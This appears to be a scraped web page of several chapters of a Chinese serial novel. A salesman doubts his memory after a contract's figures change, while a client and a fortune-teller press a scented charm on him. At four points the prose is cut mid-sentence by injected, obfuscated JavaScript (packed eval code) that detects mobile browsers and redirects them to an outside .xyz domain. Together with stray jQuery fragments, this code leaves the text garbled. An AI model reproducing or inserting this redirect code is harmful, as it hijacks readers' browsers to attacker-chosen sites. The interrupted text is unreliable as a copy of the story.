“探店推文呗,偶然看到的。那篇推文没什么水花,要不然你以为这个地方还能藏得这么好呢?”严潘熟练地往角落的卡座一坐,接着扫码点单,“这里边吃的不多,看着点吧,一会儿把自己的那份A给我就行。” 手机在他们几个里传。 杜鸻没什么胃口,也就点了个啤酒和一点开胃的小菜。 小酒馆上菜的速度很快。 调酒师亲自来送的酒,“啤酒谁点的?” 严潘嗑着瓜子,朝杜鸻一指,“他。” “挺特别。”调酒师把啤酒递到杜鸻面前,又送了他一杯蓝色的人鱼的眼泪,“来这儿只是喝啤酒没意思,试试这个,送你的,度数和啤酒差不多,不用担心太烈。” 严潘:“人鱼的眼泪啊。我保证,这喝起来就跟饮料差不多。” 调酒师不满道:“什么意思?” 严潘:“嘿嘿,开个玩笑,一个形容么。” 调酒师翻了个白眼,走了。 杜鸻喝的确实是度数最低的,不过他平时不怎么喝酒,一是工作不允许,另一个就是他有点怕。 那几个过劳死的同事里有两个平时喜欢喝酒,有事没事喜欢小酌一杯,有时候一不小心酌多了,整张脸都通红,看着都吓人。 他喝完那杯啤酒后,对人鱼的眼泪有点犹豫。 “放心喝吧,没什么后劲儿,喝起来挺舒服的,真的。”严潘说。 小徒弟赶紧说:“严哥你别劝,我师父平时不怎么喝酒的。今天喝的这些已经挺多了。” 严潘说了句“没事儿”,“你师父平时爱做梦,做梦做得都快把他搞糊涂了。现在不让他喝点儿,晚上哪儿睡得着?我保证,就你师父这个体格,这个身体素质,喝这些绝对没事儿。” “嗯,你不用担心我。”杜鸻顺着严潘的话说。 来到这儿之后他确实有了新的打算。 他没有喝酒助眠的习惯,但是今天也不是不可以试一下。 如果有用的话,之后他不用那个香包也可以。 他总觉得那个香包有点古怪。 人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小徒弟说:“师父,严哥,我们不是来放松的吗?别吵了。其实我也觉得我师父没病,平时给我指导工作的时候条理清晰得不得了,没问题啊。” “那是他没跟你说。”严潘掰着手指数,“先说之前,那会儿你还没来呢,那次我们团建,我跟他一块穿串儿呢,穿完了我让他把新的盘子拿过来。那时候东西他放的,完了你知道他告诉我什么?他说他刚拆了新的盘子放边上的怎么不见了。” 小徒弟:“这不是挺正常的吗?有时候我也会忘了我刚做过的事儿。” 严潘:“那也得是你做了。他一直坐我对面没挪窝呢,他去没去拆新盘子我能不知道?” 小徒弟:“啊?” 严潘又说了好几件,一件比一件离谱,就连上一个离职同事的名字他们都能吵半天。 “我之前可是去求证过的啊,大家的说法都跟我一样,没人跟他一样,不怪么?一次两次就算了。” 杜鸻皱眉听着,没打断严潘。 他知道自己有时候记忆会出岔子,一件记得清清楚楚的事儿转眼就变成了另一个样子,完全和他的记忆相悖。 但他只记得是“有时候”,他也并不是经常出现这种情况。可现在听严潘这么说,他的这个情况好像已经超过了“有时候”的频率范围了。 怪不得严潘会建议他去看心理医生。 这么没逻辑又死倔,大部分都是因为脑子有病。 可他还是不相信自己脑子有病。 怎么可能? 他觉得自己挺正常的。 等等,有病的人通常不会觉得自己有病。 严潘已经说完了,小徒弟听得目瞪口呆。 杜鸻回神的时候,看见他小徒弟担忧地看着他,好像眼睛都红了,“干嘛?” 小徒弟双手握上来,“师父!要不你还是去看看吧!” 杜鸻:“……” 看个屁。 5. 第 5 章 年前不好约心理医生,杜鸻直接约了年后。 大年三十,杜鸻家里热闹得不行,家里的亲戚几乎都来了,不大的房子被人挤得满满当当。 他们一家住的是老小区老楼,房子大不到哪儿去。 杜鸻之前也建议过他爸妈换个房子,按照老两口的积蓄,换套全新的商品房可能有点难,但换个八成新的二手房那绝对是没问题。 可老两口不愿意,说是这房子都住了一辈子了,习惯了,而且杜鸻平时也不住在家里,只是偶尔回来,他们换那么大的房子没用。 “嫂子啊,要我说这房子真的是该换。这地段好是好但是房子实在是太小了,这连个八十平都没有吧?我家那一百二十平都还不太够住呢。”杜鸻的小姑姑满屋子转悠,“尤其是这有了小孩子之后啊,才知道房子大的重要性。以后小鸻也是要娶老婆的,这房子太小了坤能怕人家姑娘看不上哦。” 林桂在厨房里忙活,听见小姑子这么说,也不客气,“行了,孩子的事儿孩子自己打主意。我家杜鸻从小就主意正,也不喜欢给我们老两口添麻烦,而且以后我们两个也不会跟杜鸻挤一家去。小两口有小两口自己的日子。你要实在是觉得客厅小,那就来厨房帮忙,厨房大。” 小姑姑往厨房走,“那话可不是这么说,哪儿有孙子出生了不跟爷爷奶奶住一块的?都是我们老于家的孩子。” 林桂声音带笑,“也是。你家小于的孩子还是幸福啊,有你这么个贴心的奶奶。以前你生小于的时候还没这待遇吧?不过也不要紧,小于跟他奶奶亲。” 小姑姑不说话了。 杜鸻和他的表弟小于在外边贴春联,两人都听见了这话,但对视一眼后谁也没说什么。 这两位女士基本每年都会拌个嘴,但每次小姑姑都会落下风,而林桂女士总是能四两拨千斤地把回旋镖准确地扎到自己的小姑子身上去。 但这个小姑姑却乐此不疲地去戳人肺管子然后反被戳。 贴完春联,两兄弟在楼梯间里抽烟休息。 杜鸻不抽,接了烟后只是拿在手里玩。 小于猛地吸了一口,吞云吐雾的,“哥,你说你这不抽烟不喝酒,长得又帅的大好青年怎么就没个姑娘喜欢呢?” 杜鸻转着烟,“你怎么知道没有?” “有啊?真有啊?那什么时候带个嫂子回来给我看看啊。你小侄子天天问我表婶什么时候来咱家。”小于弹了下烟灰,“哥,作为兄弟我说一句实话,人啊有时候要求还是不能太高了,真的。你看我现在就挺好的,儿子有了,今年还能添个女儿,真挺好的。” 杜鸻看了眼客厅里挺着大肚子还得照顾儿子的表弟媳,幽幽地说了一句“是么”。 “是啊,怎么不是?”小于神秘兮兮地问,“这就咱俩,你告诉我,你不会是身体有什么问题吧?” “嗯,对。”杜鸻点了点自己的脑子,“这儿有点问题,年后去看。” 小于手里的烟差点掉了,“不是吧哥?你别开玩笑啊。这事儿我舅妈知道么?” 杜鸻把烟折了一下准备拿回里面丢了,“这不是还没来得及说么。” “哎我……”小于看着那抽不了了的烟,“哥你不抽也别折啊,这烟贵着呢。” 杜鸻拍了拍小于,“你媳妇儿还怀着孕,闻不了二手烟,少抽点。” 小于:“哎没事儿,你看我们老大这不也健健康康的么?” 杜鸻笑了笑,没再劝。 该说的说了,不听他也是真的没办法。 吃完年夜饭后,小姑姑一家也没多留,走得飞快。 杜鸻收拾着桌上的碗筷,顺嘴问:“妈,去年不是说小于和他老婆要离婚了么,怎么今年二胎都有了?” “是这么说,但是人家夫妻俩的事儿谁说得清楚呢。这也不是什么好事,不好问。”林桂把打包好的剩菜递给杜俊朗,“放冰箱去,这个明天吃的,别给冷冻了啊。” 杜俊朗拿着菜往厨房走,“你那表弟和表弟媳平时吵吵闹闹惯了。有了孩子哪儿能轻易离婚?当妈的哪儿舍得孩子啊。” 林桂女士一听,不同意道:“哦,当妈的舍不得孩子,你们这些做男人的就心安理得地拿着孩子当捆绳,把当妈的捆住呗?什么道理。” 杜俊朗“唉”了一声,“没有的事,至少我老杜家的男人不会这么干。听见没杜鸻?” 杜鸻收拾的动作一顿,“听是听见了,可当年你俩闹离婚的时候,拿我当免死金牌的事儿忘了?” 杜俊朗:“乱说话,我跟你妈什么时候闹过离婚?不可能的事。” 杜鸻看向他老妈。 林桂女士也是一脸坚定,“是啊,我跟你爸吵归吵,没提过离婚的事儿。倒是年轻谈恋爱那会经常说分手,结婚之后第一天就约定了,只要不是原则性问题,不会轻易提离婚。两个人在一起哪有一帆风顺的。” “真没有?”杜鸻狐疑。 “干嘛,你还希望我跟你爸离婚啊?”林桂女士笑着拍了一下杜鸻的脑袋,“你要敢这么想我得揍你的知不知道?那是我老公。” 杜鸻:“……” 杜俊朗先生也走过来拍了一下杜鸻的脑袋,“你这小子一天天地在想什么?哪有盼着爸妈离婚的?对你老爸有点信心行不行?” 林桂女士脸上的笑意更深,“什么叫对你有点信心啊?” 杜俊朗先生说:“那当然是对我的魅力有信心了。要不是我当年长得挺帅的你能看上我?” 林桂女士大笑起来,“多大的年纪了还说当年呢。去去去,把剩下的菜收拾了。” 杜俊朗先生继续打包剩菜去了。 杜鸻看着相处和谐的父母,那种不真实的感觉再次涌上来。 他突然有点难过,没来由的。 “发什么呆呢?”林桂回头,手里递给他一盒鸡肉,“冷冻去。” 恍惚的感觉如潮水般退去。 杜鸻觉得自己的感知在一瞬间变得清晰起来。 他几乎是立马就对他老妈的话做出了肢体反馈,思绪慢半拍才回笼,“没什么,困了吧。” 林桂说:“困了一会儿就洗澡睡觉去。” 杜鸻放好了鸡肉,“不守岁了?” “守不守都行,梦里守也是一样的。困了就不讲究这个。”林桂说完又交代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974444|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一句,“除了卧室的,其他的灯别关啊。” 杜鸻应声,“知道了。” 杜鸻躺在床上,半天都没睡着。 他思来想去还是给严潘发了个信息。 【杜鸻:新年快乐。问你个问题,你真觉得我是因为心理出问题了?】 【严潘:新年快乐啊!我就知道你肯定还在纠结着这事儿不放。其实吧,说句实话,你平时遇到的那些情况呢,压力大导致的幻觉啊啥的肯定是没跑了。我平时虽然也会有脑子不好使的情况吧,但是没有你的情况这么夸张,真的。反正我也不是医生,不好说这个是什么问题,总之找个医生看看呗,大家都是有医保的怕啥。】 “……” 最后一句话可把杜鸻给逗笑了。 医保已经成了打工牛马的心底保障了。 【杜鸻:行,谢了。】 【严潘:兄弟,真的,开不了单就开不了单,又不是什么大事。咱们都有无责底薪,怕个鸟。】 【杜鸻:你说得对。】 【严潘:不说了啊,陪我侄子侄女放烟花去了。新年快乐,今年都他妈的赚大钱!】 【杜鸻:暴富。】 杜鸻调出自己的预约信息,长长地叹了口气。 一切等医生的结果吧。 他刚放下手机,又一条信息进来了。 【阳总:小老弟,老哥在这跟你拜年了。新年快乐!】 “……”杜鸻看着备注上大大的“阳总”就觉得自己一点都不快乐。 但他还是有礼貌地回复了。 【杜鸻:阳总,新年快乐,事业顺利,万事吉祥。】 【阳总:多谢老弟。年初五有事没事?】 【杜鸻:阳总的意思是?】 【阳总:要没事就出来陪我喝点儿。大过年的,这点面子你不会不给吧?】 “我还真不想给。”杜鸻嘀咕道。 可没办法,现在这阳总还是他的客户,再烦也得忍着。 【杜鸻:哎哟,怎么会?到时候咱们联系。】 【阳总:行。】 这次杜鸻记得开飞行模式了,他还顺手断掉了WIFI,谁也别想在他睡觉的时候打扰他。 不知道是不是睡前回了阳总的信息,导致他做梦都在被阳总逼着签阴阳合同。梦境的最后一幕是他不仅被公司开除,还被铐上了银手镯带走,至此人生有了不可抹去的污点。 他被吓醒了。 这还是头一回。 他摸黑给自己倒了杯水,脑子里全是年前他和阳总签的那份合同。 甲乙双方无误,单价虽然比之前高但实际上还是低于市场价的,他们公司也只能微盈利,他最后能拿到手的提成估计也多不到哪儿去。 但他总觉得不对。 那天电梯里阳总的那个手势和眼神分明就是在暗示他什么。 是什么呢? 想不明白。 喝完水,他重新躺回床上。他本以为自己很难睡着,可刚闭上眼睛他就沉进了梦里。 梦里,他和阳总面对面坐着。 阳总笑着给他递了一样东西。 6. 第 6 章 “阳总,您这是?”杜鸻看着面前和梦里一模一样的红包,右眼皮直跳。 梦里最后发生了什么他不记得了,但这一刻发生的事情和梦境里的一模一样,这点他非常确定。 阳总笑眯眯的,“别紧张,过年么,给个利是。” 利是? 杜鸻不太敢接。 “拿着啊。”阳总晃了晃手里的红包,“怎么,觉得我这是在贿赂你啊?哎哟老弟,咱们合同都签完了,年后就交货了,你大可放心。” 这是一家还算高档的餐厅,预约才能来的那种。 可能是因为春节,约着在外边吃饭的不少,餐厅里算不上座无虚席,但也热热闹闹。 这阳总胆子虽然大,但在人这么多的地方搞贿赂应该也不至于。 “没有的事儿,只是这红包该是我给您,从您这收了我还挺不好意思的。”杜鸻双手接过红包,突然灵机一动,“阳总,不介意我拍个照炫耀一下吧?” 阳总脸上的表情没什么变化,“介意什么,你随意。不过这里面没多少钱啊,可别说是我送的,到时候你们那马组长非得笑我小气了。你跟哥说句实话,平时你们那马组长是不是背地里说我抠门?” 杜鸻对马组长没什么好感,天天压榨他不算,上回提的涨工资和提点到现在都没个下文,也不知道这马组长把 话提到什么地方去了。 “您说的对。” 阳总摸了摸自己圆滚的肚子,“没办法啊,这行情不好,谁都想赚钱,但谁也都想省这个成本。老弟可别怪我这个做哥哥的啊。” 杜鸻一笑,豁达道:“不会。都不容易。” 他最不容易,一天天地为了赚这个破钱还得各种赔笑脸,陪吃陪玩就差陪睡了,才勉强拿到这么点提成。 要不是赚钱不容易,他才不会大过年的不在家里休息,跑出来在这儿搞什么隐形加班。 他忐忑地等着阳总重提那个会所项目的事儿,但直到这一餐都结束了,阳总也没提过。 这阳总能这么轻易就放过他? 他可不这么觉得。 这阳总是出了名的麻烦,而且看他那个样子,哪儿像是会轻易放弃的? 门口分别的时候,阳总突然拍了拍他的肩膀,“对了,小杜啊,云大师让我今天顺道问你,最近是不是没把那香包放床上?你这精神状态好像不是太好啊。” 杜鸻心头一紧,紧张道:“云大师怎么知道?” 这云大师不会是在香包里放监控了吧? 阳总有点骄傲似的,“那可是大师。有什么不知道的?” 杜鸻讪笑,“也是。” “小杜啊,我知道你们年轻人都不信命。我年轻的时候也不信。你知道我是怎么坐上今天这个位置的么?采购副总,这是我以前想都不敢想的。”阳总长长地叹了口气,“一切都是命啊,但是有些事情呢,也不是不能改。虽然改命这种事情总会有点风险,但是能赚大钱,冒点儿风险有什么关系呢?是不是?老话都说了,富贵险中求。” 杜鸻被阳总这长篇大论地绕得有点头疼,“阳总,您有话就直说吧。” 阳总又故作神秘摇头,“你身上的事呢,我说不了,还得让云大师来看。云大师说啊,那香包就是给你保命用的,你身上的精气神被损耗太多了,再这么下去,迟早把你这条命耗没了。行了,大过年的,不该说这么晦气的话。你呢,也别太担心,只要你按着云大师说的来,保你平安。” 杜鸻眉头紧蹙,“云大师为什么这么关照我?” 阳总一副理所当然的样子,“你是我兄弟,不关照你关照谁?” 阳总先一步走了。 杜鸻看着阳总远去的车,心里的疑虑越来越重,压得他有点喘不过气来。 这云大师真有这么神? 自从那天和严潘他们从酒馆里回来后他就没再用过那个香包。 虽然依旧会做梦,但是半夜惊醒的情况少了,除了昨晚梦到他喜提银手镯外。 所以他这段时间记忆总是出现偏差是因为做梦太多而损耗了大量的精气神么? 那他一直坚持的锻炼算什么? 杜鸻心事重重地往外走,回家之前还是先去了自己租住的房子一趟,取了香包回家。 回到家后,他把香包放在枕头下,又把阳总送他的那个红包摆在桌上,拍了两张后连带着在餐厅拍的那一张给严潘发了过去。 【严潘:几个意思?炫耀红包呢?】 【杜鸻:不是。这是阳总给的利是。】 【严潘:阳总私底下给你红包了?(这事不简单.jpg)】 【杜鸻:嗯,所以给你发一份,就不算私下了。】 【严潘:……咋的,你这是拿我当背书啊?】 【杜鸻:(微笑.emoji)】 给严潘发了红包的照片留档之后,杜鸻才算松了口气。 这阳总也真的是挺会挑时候的,如果换做平时,他肯定说什么也不会收这个红包,偏偏现在是在过年期间,朋友之间互相给个红包、给个利是啥的都算在正常的人情往来范围内,而且他要拒绝,一句“大过年的图个吉利”就能把他怼回去。 不得不说,阳总还真的是打了一手好算盘。 不管怎么样,他还是得再提防一下阳总重提会所的事。 那个会所是阳总的私人产业,虽说在法律上没有明文规定说员工不能拥有自己的私人产业,但如果业务上有冲突或者往来呢?那估计事儿就大了。 他们公司能提供的原料里,就有一部分是那个会所能用得上的,还有他的人脉…… 总之,风险肯定有。 收假后第一天,杜鸻如约见到了他预约的心理医生。 这还是杜鸻第一次约心理医生,心里有点紧张,但好在整个流程都比较放松,没给他带来什么心理压力。 “从量表的情况来看,你有焦虑症,但是可控。你也不用有什么心理负担,量表测试只是一个辅助判断的工具,你当下的一个情绪、自我的一个认知或者是多种原因都可能会导致量表结果的不同。”心理医生又多问了几句,下了结论,“……中度焦虑外加植物神经功能紊乱,问题不大,平时多注意情绪方面的调节,加上药物配合,症状会逐渐减轻。” 杜鸻知道焦虑症,他也隐约知道自己有这个毛病,但对“植物神经紊乱”不太理解,“植物神经功能紊乱是什么意思?” 心理医生解释道:“长期精神紧张、心理压力过大都有可能导致这个问题,身体反馈的平衡被打破之后就容易造成紊乱,也叫做自主神经功能紊乱。这就是个统称,知道就行了。” “好。” 杜鸻到药房领了药。 因为他的情况还在可控范围,而且对日常生活工作也没有太大的影响,医生只是给他开了两瓶谷维素片。 回去后,他按照医嘱按时吃药,晚上睡觉前还特意把那个香包从枕头下拿出来放到桌上去。 一夜无梦。 第二天,杜鸻的精神很好。 小徒弟和严潘看见他都夸了他一句精神不错。 “昨天没来是干嘛去了?不过也得亏你没来,要不然大过年回来第一天还得被老马强行灌鸡血,年夜饭都能被恶心得吐出来。”严潘小声嘀咕。 杜鸻一笑,“这么夸张?” 严潘:“这哪儿是夸张啊,这就是实话实说。哎,所以昨天你到底干嘛去了?那老马给咱们灌鸡汤的时候还特意踩了你一脚。” “……”这话大可不必说。 杜鸻:“看病。” 严潘惊讶,“你真去了啊?” “不然?那天你涮我的?”杜鸻瞥了严潘一眼。 严潘赶紧说:“那没有,就是那天多喝了几杯马尿说话不太好听,我以为你不会放在心上或者是之后多骂我两句,没想到你还真去了的。怎么样,没事儿吧?” 杜鸻:“问题不大,开了药了。” “都吃药了还问题不大啊?”严潘声音有点大,引得同组的其他人都看了过来,“不是,到底什么情况啊?你不会是什么抑郁症之类的吧?看着也不像啊。还是你做了脑部CT,在脑子里查出什么了?” “滚吧,大过年的不能盼我点好?”杜鸻觉得这严潘越说越离谱,懒得跟他继续说,刚把电脑打开,他那小徒弟就匆匆过来了,“师父,那个,马组长让你过去一趟。” 杜鸻看了眼马组长的位置,空着的,“去哪?” 小徒弟畏畏缩缩地往后边看了一眼,“小会议室。” “……知道了。” 各小组的组长都没有自己独立的办公室,所以一般组长找人谈事儿或者是给组员开会的时候可以选择小会议室。但其他组的组长基本都是大大方方的,只有这个姓马的一天天的屁事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974445|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿特别多。 杜鸻敲开小会议室的门,看见马组长就在主位上坐着。 马组长面前放着一份文件,脸色不太好。 “这份合同你给阳总送过去。”马组长把合同甩到杜鸻面前。 杜鸻眼皮一跳,“什么合同?” 阳总是他的客户,是他开发的也是他一直在跟的,几乎所有的合同都会从他这里过一遍,然后再送到法务审核,没问题了再申请签章。可他和阳总签订的合同已经在年前就已经全部完成了,这是哪儿来的和阳总的合同? “当然是合同正本!年前你是怎么办事的?就给阳总带走副本啊,正本留在公司里?要不是法务那边做年后的第一次整理,发现了这个正本,你罪过就大了知不知道?你啊你,越来越懈怠!昨天你还敢请假?我批了吗啊?你就敢不来?”马组长用力敲了敲桌面,“赶紧把正本送过去!必须亲自送到阳总手上!” “组长,你确定这是合同正本?我清楚地记得那天我把合同的正本和副本都一起给到阳总了,不可能落下。”杜鸻坚定道。 马组长哼了一声,“你记得?你这记忆还有准的时候么?之前发生了几次了?你说的可跟实际上的完全对不上,你上哪来的记忆?做梦吧?” 这话如果是严潘说的,他能忍,可这话偏偏是最不着调的马组长说的,他就觉得不太舒服了。 “那马组长记忆好,之前我要求涨薪和提点的事什么时候有答复?”眼见着马组长张嘴要反驳,他赶紧接道,“难道马组长记性不好忘记了?” 马组长一拍桌子,“放屁!你什么时候跟我说过了?!我不记得,没有的事你不要想着框我!” 杜鸻掏出手机晃了晃,“那你可能真忘了我录音了。” “你!”马组长压低声音,“杜鸻你别太过分真的,要不是阳总看得起你,你有这么一个稳定的大客户,你觉得就你这样的业绩还能继续在公司待着呢?别给我废话,赶紧去送,要是耽搁了,别说提点,你这次的提成也别想要了!” 杜鸻气得头昏眼花,他抄起合同,点了马组长一下,“老马,你最好记得你只是个组长,不是经理。” 离开公司后,他朝小徒弟和严潘打了个招呼,径直往外面走。 严潘追出来,“什么情况啊,你俩在里边聊什么了吵成那样?” 杜鸻晃了晃手里的东西,“喏,这个咯。老马非得说这个是正本,那天我只给阳总带了副本。可能吗?一式四份的东西,一个公司两份,我能弄错?这厚度都不一样。” 严潘也想了一下,“是啊,这东西这么重要,你怎么可能漏了啊。” 杜鸻:“是吧? ” 严潘:“他不是故意搞你吧?我看他今天心情可不好。” “你提醒我了。”杜鸻打算出去之前翻一翻这个合同的内容,顺便再去法务那边核对一下。反正法务都说了这是今天核对的时候核对出来的问题,那他再去对一趟也容易,“我去一趟法务部。” 身后的严潘“哎”了一声,可杜鸻着急,没等听清严潘“哎”的什么就已经跑向法务部了。 法务部里只有一个人。 “晴姐,就你一个人呢?” 晴姐是个温柔的女士,平时法务部里杜鸻也最喜欢和晴姐打交道,很多事情也都是直接和晴姐对接的。 “小杜啊,怎么了?”晴姐拿出一包小零食递给他,“喏,给你。” 杜鸻接过零食,谢了一声,把合同放在桌上,“晴姐,你还记得这份合同吧?年前我刚签完的那个。” 晴姐看了一眼,“哦”了一声,“这不是和阳总的那个项目嘛。这这是我今天给马组长的那本吧?” 杜鸻:“所以这份原本是要给阳总的?” “是啊,说到这个,上次你过来的时候漏了正本都没发现?”晴姐说,“也是昨天阳总给你们马组长打了电话问了,我们这边多核了两遍才发现了。夹得太隐秘了,一开始我都没看见。还好阳总人好啊,没说什么。要不然麻烦可大了。” 杜鸻感觉背后凉凉的,“这真是多出来的那份?阳总的那份?” 晴姐:“是啊。小杜啊,你这次真的有点粗心了。” 杜鸻屏息飞快地翻着签字人,是他,没错,章子盖的地方也是一模一样的。 他再看金额和数量部分,只一眼就瞪大了眼睛。 “这数不对!” 7. 第 7 章 “怎么不对?”晴姐也吓了一跳。 她们可是法务,所有合同在签之前都需要法务部过一遍的,要是在签约后出了什么问题,她们的责任就大了。 杜鸻说了两个数,一个是金额,一个是吨数。 这两个都是他反复确认过的,不仅如此,他还有工作留痕的习惯,现在合同的电子版都还在他的电脑里,只要去对一对,对一对就知道了。 “小杜你合同!”晴姐在后面喊。 杜鸻哪里还管得了什么合同不合同的,而且那合同放在法务部也不会出什么事。 马组长正好从茶水间出来,看见杜鸻急匆匆地往自己的工位赶,赶紧喊了一声,“你怎么还在这?!让你送的东西你送完了没有?!” 杜鸻懒得理他,飞快地打开电脑找到那份合同的电子版,打开前他还特意看了眼时间。 时间没问题。 他熟练地拉到规定金额的那一页。 不对。 金额不对。 那天他看到的金额根本不是这样! 怎么可能呢? 金额根本对不上! 虽然也应了阳总说的那句“把价格往上抬了一点”,可这不是他那天和阳总签的那一份。 “杜鸻,你要干什么你?!”马组长站在杜鸻旁边骂,“让你送个合同你还在这干什么?啊?耽误了阳总的事,耽误了两个公司的合作,你付得起这个责任么?!” 杜鸻看向马组长,一句话都说不出来。 他忍了又忍,绕过马组长走向法务部。 “怎么了刚才,匆匆忙忙的。”晴姐把那份合同递给杜鸻,“这个拿好了啊,我刚核对过了,确实没错的。可能是不是你前段时间太累了给记错了?” 杜鸻苦笑,“可能吧。” 所有的现实都和他的记忆对不上,他可能真的得像严潘说的那样,还得去做个脑部CT,看看是不是脑子里也有问题,否则为什么会发生这么离谱的事儿? 真!他!X!离!谱! 杜鸻把合同送到了阳总公司。 他在前台登记的时候,正好碰上了送人下来的阳总,阳总旁边的是穿得人模狗样的云大师。 “不麻烦了,我看到人了。”他停下了刚写完日期的笔,拿着合同径直走向阳总,“阳总,云大师。” 阳总看了眼周围,“小杜啊,来送合同的?” “嗯。”杜鸻把合同递过去,“抱歉阳总,是我的失误,竟然只给了您副本,把最重要的正本给忘了。” 阳总把合同接过去了,“你啊。算了,这事就不追究你的了,好在我们这边流程走得细,及时发现了问题。” 杜鸻点点头。 “这合同你看过没有?确定没给我拿错吧?要是拿错了你可就只能再跑一趟了啊。”阳总看着外面的天气,“哟,要下雨了。” 杜鸻回头,这天阴沉沉的,确实是要下雨了。他刚出来的时候还出着太阳,可一转眼,天色就变了,和他的记忆一样,一转眼就变了。 “看了,是原来的那份。”他随口一答。 他已经累了,这次他清楚的记住了新的金额和吨数,就算他这边记错了,法务和他的电脑里的那份存档应该也不会错。 一会儿出去的时候他就用手机的录音功能先把自己现在脑子里记得的事情给全部说下来,他就不信了这还能出错。 就在他不注意的时候,阳总和云大师对视了一眼。 云大师终于出声,“小杜啊,你知道吗,每个人身上都有自己的‘气’,一旦‘气’不足,‘血’就容易不足,‘血’不足,身体就会出现各种异常。比如,记忆受损。” 杜鸻警惕地看向云大师,“没想到云大师对医学还有研究。” 云大师笑着摇头,“这算不上医学。不,也不能这么说。总之,就是看你的精神状态还不是太好,如果有什么需要的话,随时也可以找我。” 云大师递过来一张名片。 杜鸻接过名片,发现这名片印得还挺正规。 他还是客气道:“上次大师送我的香包很有用,不过我最近已经找到了原因,估计是用不上了。” 云大师也不生气,哈哈笑了两声。 反而是阳总不太高兴,“小老弟,你还是太年轻,有些话不能说的太满。‘宁可信其有不可信其无’这句老话说得是没错的。” 杜鸻从善如流,“我知道。” 阳总还要说,被云大师挡了一下,“算了。我相信过段时间你会主动来找我。” “或许吧。”杜鸻勉强笑了一下。 雨果然下下来了。 惊蛰前的雨都是淅淅沥沥的,大不到哪儿去,但一旦开始下了就是接连不断的,非常磨人。 杜鸻他们三人在公司大楼前分别。 云大师站在杜鸻旁边,像是也没带伞。 杜鸻在等车。仅仅只是一个早上就发生了那么多事,他也确实没有多余的心力去应付人,只能当云大师不存在。可云大师的视线如有实质地扎在他身上,让他觉得很不舒服。 他忍不住道:“大师要和我说什么?” 云大师的目光落在他的肩上,接着他听见云大师说,“人身上有三把火,如今你左肩的火摇摇欲灭,还是得注意啊。” 杜鸻看了眼自己的左肩。 他当然看不见那把火,可他也确实听说过这个说法。尤其是长期做梦开始影响到他的生活后,他就查过各种各样的资料,可说法多种多样,真正能解决的一个都没有。 而他也不知道这个所谓的云大师是真的有点东西还是只是在套路他。毕竟像香包那样的东西随便去个道观或者寺庙的也能买得到,就算有用也不能直接算是云大师的功劳。 “多谢云大师提醒。”杜鸻的话也是点到为止。 云大师笑了笑,没再说什么。 回到公司后,杜鸻的头发湿了一层,外套也湿了不少。好在公司里开着空调,把外套脱下来也不冷。 马组长也没再来找他的麻烦。 后边半天都平安无事。 杜鸻照常吃药。 头一段时间还管用,后来就不行了,只能管住明显紧张的情绪和身体,但却管不了他的睡眠。之前他晚上虽然做梦但好歹能睡着,现在是不做梦了,却也不怎么睡得着了。 很烦。 他的精神又肉眼可见地萎靡下去,就连他的小徒弟和严潘都在说他是不是还得再去看看。 他又去了趟医院。 心理医生给他做了心理疏导,发现他主要的心理压力还是来自于记忆紊乱这件事。 “再重新做个测试看看。”心理医生又给了杜鸻一份新的量表。 这次的量表和上一次的不同,几乎都是杜鸻没见过的题。 不过这样也好,万一他在记别的事情上不太行,但在记题目这事儿上很行,那怕是会影响他的测试结果。 结果显示,他的焦虑程度有加重的情况。 杜鸻自己也能感觉到。 因为之前他的所谓的记忆错乱也只是影响到了一些不足为重的小事,可这次却差点影响他的工作。 虽然后面事情都圆满解决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974446|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,阳总那边的款项已经如期打到了公司的账户上,货也发了,就等着最后开票了。 这一切都进行得无比顺利,顺利到杜鸻觉得非常地不真实。 所以他的思绪一直在真实和错觉之间来回横跳,导致他晚上睡也睡不好。 可那个数字真的是他的错觉吗?如果真的是他的错觉,是他记错了记岔了,那他为什么会记得那么清楚? 那串数字是哪儿来的? 不,他还是不相信自己会记错。 “医生,我觉得我还是没有记错。我怎么可能记错呢?这么重要的事情,我不可能记错。”他突然抓住心理医生的手,像是抓住了一根救命稻草。 心理医生拍了拍他的手背,给了他一杯温水,“是的,这或许不是你的问题。记忆偏差是普遍存在的一个现象,但是通常偏差的部分很小,比如‘124568’这串数字,可能会有人记成‘124586’又或者是‘125468’,或者是别的,基本上都不会跳脱这几个数字形成一个新的数字情况。” 